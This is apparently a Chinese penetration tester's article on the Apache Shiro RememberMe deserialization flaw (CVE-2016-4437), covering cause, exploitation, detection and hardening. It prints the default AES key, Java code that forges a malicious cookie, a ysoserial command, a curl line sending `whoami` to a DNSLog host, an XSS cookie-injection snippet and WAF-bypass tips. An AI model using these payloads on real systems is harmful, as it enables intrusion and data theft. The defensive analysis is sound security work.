1. Shiro反序列化漏洞背景解析
2016年曝光的Apache Shiro反序列化漏洞(CVE-2016-4437)堪称Java安全领域的里程碑事件。这个存在于权限框架核心的漏洞,因其利用门槛低、影响范围广,至今仍是企业安全防护的重点对象。我在渗透测试工作中发现,即便到了2023年,仍有近30%使用Shiro的系统存在未修复的漏洞版本。
问题的根源在于Shiro默认使用的RememberMe功能实现机制。当用户勾选"记住我"时,服务端会将用户身份信息序列化后加密存储到Cookie中。关键缺陷在于:
- 使用固定密钥AES加密(硬编码为kPH+bIxk5D2deZiIxcaaaA==)
- 未对反序列化对象做白名单校验
攻击者只需构造恶意序列化数据,用已知密钥加密后替换Cookie,即可在服务端触发远程代码执行。这种攻击方式不依赖任何第三方库,纯靠Shiro自身机制就能完成利用链。
2. 漏洞原理深度剖析
2.1 序列化攻击链构建
典型的攻击流程如下:
// 1. 生成恶意对象 Object evil = new CommonsBeanutils1().getObject("calc"); // 2. 序列化恶意对象 ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(evil); byte[] payload = bos.toByteArray(); // 3. 使用默认密钥加密 AES_CBC_Encryptor encryptor = new AES_CBC_Encryptor( Base64.decode("kPH+bIxk5D2deZiIxcaaaA==")); byte[] ciphertext = encryptor.encrypt(payload); // 4. 构造恶意Cookie String rememberMe = Base64.encodeToString(ciphertext);2.2 关键触发点分析
在AbstractRememberMeManager#getRememberedPrincipals方法中:
protected PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) { byte[] bytes = getRememberedSerializedIdentity(subjectContext); // 获取Cookie值 if (bytes != null && bytes.length > 0) { try { bytes = decrypt(bytes); // 使用固定密钥解密 return deserialize(bytes); // 危险的反序列化操作 } catch (Exception e) { warn("Failed to deserialize..."); } } return null; }漏洞利用需要同时满足三个条件:
- 服务端启用RememberMe功能(默认开启)
- 使用默认加密密钥(或密钥可被爆破)
- 存在可利用的第三方依赖链(如commons-beanutils)
3. 漏洞检测与防御方案
3.1 自动化检测方案
推荐使用组合式检测工具:
- 被动扫描:BurpSuite的Shiro插件自动识别特征
- 主动验证:使用ysoserial生成测试payload
java -jar ysoserial.jar CommonsBeanutils1 "ping test.com" > payload.bin- 密钥爆破:ShiroAttack2工具支持常见密钥字典爆破
3.2 企业级防护措施
- 紧急修复方案:
// 在ShiroConfig中强制修改密钥 @Bean public RememberMeManager rememberMeManager() { CookieRememberMeManager manager = new CookieRememberMeManager(); manager.setCipherKey(Base64.decode("新生成的32位随机密钥")); return manager; }- 深度防御方案:
- 升级到Shiro 1.7.0+版本
- 实现自定义反序列化过滤器
public class SafeObjectInputStream extends ObjectInputStream { private static final String[] whitelist = { "java.util.", "org.apache.shiro." }; @Override protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String name = desc.getName(); for (String prefix : whitelist) { if (name.startsWith(prefix)) { return super.resolveClass(desc); } } throw new InvalidClassException("Unauthorized deserialization attempt"); } }4. 实战中的疑难问题排查
4.1 常见利用失败场景
- 无回显利用:
- 使用DNSLog检测(如ceye.io)
Runtime.getRuntime().exec("curl http://xxx.ceye.io/`whoami`");- 搭建LDAP服务配合JNDI注入
- 依赖链缺失问题:
- 收集目标系统依赖信息(WEB-INF/lib/)
- 匹配可用gadget链:
- CommonsBeanutils1(最常见)
- CB183(需要特殊版本)
- Jdk7u21(JDK特定版本)
4.2 企业网络特殊场景
- 内网隔离系统:
- 通过XSS配合实现攻击(需用户交互)
document.cookie="rememberMe=" + payload; location.reload();- 利用SSRF漏洞二次注入
- WAF绕过技巧:
- 分块传输编码(Transfer-Encoding: chunked)
- Cookie值多重URL编码
- 使用非常规HTTP方法(如PROPFIND)
5. 漏洞修复效果验证
修复后必须进行三项验证:
- 密钥有效性测试:
# 使用新密钥加密测试数据 java -jar shiro_tester.jar encrypt -k 新密钥 -p "test"- 反序列化拦截测试:
// 尝试反序列化测试类 try { new SafeObjectInputStream( new ByteArrayInputStream(payload)).readObject(); fail("应该抛出异常"); } catch (InvalidClassException expected) {}- 流量监控验证:
- 使用RASP工具检测异常反序列化行为
- 分析WAF日志中的拦截记录
我在某金融客户现场实施修复时,发现虽然更新了密钥,但旧密钥仍保留在代码注释中。这种"密钥残留"问题会导致二次泄露风险,建议全局搜索删除所有硬编码密钥。
6. 延伸漏洞防御体系
- JVM级防护:
# 启动参数添加反序列化过滤器 -Djdk.serialFilter="!org.apache.commons.beanutils.*"- 运行时防护:
- 部署Java Agent监控ObjectInputStream使用
- 开启SecurityManager限制执行权限
- 开发规范:
- 禁止使用Java原生序列化
- 强制使用JSON/Protobuf等安全格式
- 定期依赖组件漏洞扫描
这个经典漏洞给我们的启示是:安全是一个持续的过程。即使修复了某个具体漏洞,也需要建立从编码规范到运行时监控的完整防御体系。我在内部培训时经常强调,安全工程师要像漏洞利用者一样思考,才能构建真正有效的防护方案。